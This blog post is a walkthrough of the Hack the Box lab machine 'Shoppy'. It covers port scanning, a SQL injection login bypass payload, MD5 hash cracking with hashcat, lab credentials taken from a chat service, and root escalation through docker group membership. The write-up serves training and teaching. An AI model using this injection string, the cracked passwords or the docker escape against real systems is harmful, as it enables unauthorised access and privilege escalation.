Rootflag.io
January 14, 2023

Hack the Box - Shoppy

Posted on January 14, 2023  •  6 minutes  • 1090 words

Welcome back! Today we are going to be doing the Hack the Box machine - Shoppy. This machine is listed an as Easy machine. Let’s start!

As usually, we start with an nmap scan. Here are the results:

Nmap scan report for 10.10.11.180
Host is up (0.080s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Fri, 30 Sep 2022 13:57:05 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 18
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 18
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 4.2374e-05
|     go_gc_duration_seconds{quantile="0.25"} 9.0354e-05
|     go_gc_d
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Fri, 30 Sep 2022 13:57:06 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 18
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 18
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 4.2374e-05
|     go_gc_duration_seconds{quantile="0.25"} 9.0354e-05
|_    go_gc_d
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=9/30%Time=6336F5B2%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Fri,\x2
SF:030\x20Sep\x202022\x2013:57:05\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x
SF:20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles_
SF:total\x2018\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count\
SF:x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20applicatio
SF:n\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_gc
SF:_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_gc
SF:_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\x
SF:20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_t
SF:otal_gc_cycles_total\x2018\n#\x20HELP\x20go_gc_duration_seconds\x20A\x2
SF:0summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collecti
SF:on\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_d
SF:uration_seconds{quantile=\"0\"}\x204\.2374e-05\ngo_gc_duration_seconds{
SF:quantile=\"0\.25\"}\x209\.0354e-05\ngo_gc_d")%r(HTTPOptions,152B,"HTTP/
SF:1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\x
SF:20charset=utf-8\r\nDate:\x20Fri,\x2030\x20Sep\x202022\x2013:57:06\x20GM
SF:T\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\x
SF:20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20ru
SF:ntime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counter
SF:\ngo_gc_cycles_automatic_gc_cycles_total\x2018\n#\x20HELP\x20go_gc_cycl
SF:es_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x
SF:20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_force
SF:d_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200\
SF:n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all\
SF:x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cycl
SF:es_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x2018\n#\x20HEL
SF:P\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20du
SF:ration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_d
SF:uration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x204
SF:\.2374e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x209\.0354e-05\n
SF:go_gc_d");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see three ports - 22, 80 and 9093. We also see that we should probably add shoppy.htb to our hosts file. We’ll start up burpsuite and see what’s happening on port 80. We get a landing page saying that the service is coming soon. Looks like we’ll start enumerating with gobuster and or ffuf.

Command: gobuster dir -u http://shoppy.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Right away we see /login and /admin.

We head over to the login screen. We try to login with some basic’s like admin | admin and the such but nothing. When we try to give it a basic SQL Injection we get a 504 timeout. There could be something here. After a while of trying all sorts of injections on the field, we land on admin' || '1=1-- - letting us login!

Now that we’re in we can see we have access to a search for users function. What are the chances we can use the same ‘Always true’ statement that logged us in, in this field? Sure enough, it also works. We are given a link to ‘Download export’ The export only contains two users - josh and admin.

These hashes look to be MD5 at first glace. We can crack those pretty easy this day in age.

Command: hashcat -m 0 '6ebcea65320589ca4f2f1ce039975995' /usr/share/wordlists/rockyou.txt

And we get back a match: 6ebcea65320589ca4f2f1ce039975995:remembermethisway

So now we have a password for Josh. We aren’t able to use it for SSH so we must be missing something. During our enumeration processes we didn’t try to enumerate any subdomains. There very well could be another site being hosted. We’ll take a pass with gobuster to see if we can enumerate anything additional.

Command: gobuster vhost -u shoppy.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

That didn’t turn up any results. We’ll try again with a different lists and we end up finding mattermost.shoppy.htb. We’ll add this to our hosts file and see what’s being hosted.

Sure enough, there is a login right as we load the page. We are able to login as josh. Once we get logged we can dig around and see what we can find. We find an interesting tidbit -

‘Hey @jaeger, when I was trying to install docker on the machine, I started learn C++ and I do a password manager. You can test it if you want, the program is on the deploy machine.’

We can take a look at the ‘Deploy Machine’ on the side links and see that we have some credentials to that machine given to us - jaeger:Sh0ppyBest@pp!. Now we can test these credentials against SSH to see if we are able to log into that container.

We are able to log into that container and the user.txt flag is waiting for us! Now that we’re on the box, and we know it’s a container, we’ll need to seek a way to break out. Generally to do that we need a method to root. Let’s start to enumerate. A quick sudo -l shows we can run /home/deploy/password-manager as the Deploy user. This was probably the tool that was noted in mattermost. So let’s try to run the app.

We see we are expected to answer the ‘Master Password’.

We try a few basic passwords but nothing works. So we run strings on the file and see something but no password: Strings command

Next we try cat: cat command

This time we have a bit more insight, we see the password as Sample. We plug it into the app and gain some new credentials - deploy:Deploying@pp!.

Let’s SSH into this container using these credentials. Now we’re in with another account, let’s enumerate. We aren’t able to run sudo as the deploy user. So we’ll get a copy of linpeas on the container and see what we mightr be able to find. We start up our SimpleHTTPServer and user wget to download the linpeas script. Then we run it.

We see that one of the 95% Escalation Vectors that pops up is that the user belongs to the Docker group. So we can check hatrick and gtfo bins for paths up. We will try the following:

Command: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

It works, we escalate to root in the container!

Priv Esc works!

We then cat the root.txt flag and box is completed!

Follow me

I hack things and tweet about things...